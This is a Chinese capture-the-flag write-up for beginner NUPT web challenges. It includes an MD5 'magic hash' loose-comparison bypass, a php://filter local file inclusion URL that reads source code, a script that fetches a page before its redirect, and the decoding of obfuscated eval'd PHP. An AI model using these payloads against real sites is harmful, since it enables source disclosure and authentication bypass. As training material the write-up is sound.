南邮Web题目writeup

签到题

略…

md5 collision

源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>

md5碰撞,

1
http://chinalover.sinaapp.com/web19/index.php?a=s155964671a

得到flag

签到2

查看源码,发现字数限制长度为10个,而‘zhimakaimen’有11个,F12修改下即可

1
2
3
4
5
6
7
8
9
<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
尚未登录或口令错误<form action="./index.php" method="post">
<p>输入框:<input type="password" value="" name="text1" maxlength="10"><br>
请输入口令:zhimakaimen
<input type="submit" value="开门">
</form>

</html>

这题不是WEB

真的,你要相信我!这题不是WEB
确实不是web…把图片下载后用编辑器打开,最后有flag

层层递进

脑洞题,在404页面找到flag

AAencode

一种编码:https://blog.csdn.net/qq_38329811/article/details/78186362
解码网站:https://tool.zcmzcm.org/aadecode

单身二十年

打开发现有302重定向,不能直接访问search_key.php
用BP抓包,得到flag

也可以用脚本捕获

1
2
3
4
5
6
7
8
9
10
11
import requests

def main():
s = requests.session()
url = 'http://chinalover.sinaapp.com/web8/search_key.php'
req = s.get(url)
# req.encoding = 'utf-8'
print(req.text)
# print(req.headers)

main()

你从哪里来

php decode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function CLsI($ZzvSWE) {

$ZzvSWE = gzinflate(base64_decode($ZzvSWE));

for ($i = 0; $i < strlen($ZzvSWE); $i++) {

$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

将eval换成echo执行php得到flag,在线测试代码:https://tool.lu/coderunner/

文件包含

查看源码,发现页面中链接带有参数file

1
2
3
4
<html>
<title>asdf</title>

<a href="./index.php?file=show.php">click me? no</a></html>

访问下面url得到base64,解码得到flag

1
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

单身一百年也没用

这题需要抓包,这次是藏在响应头里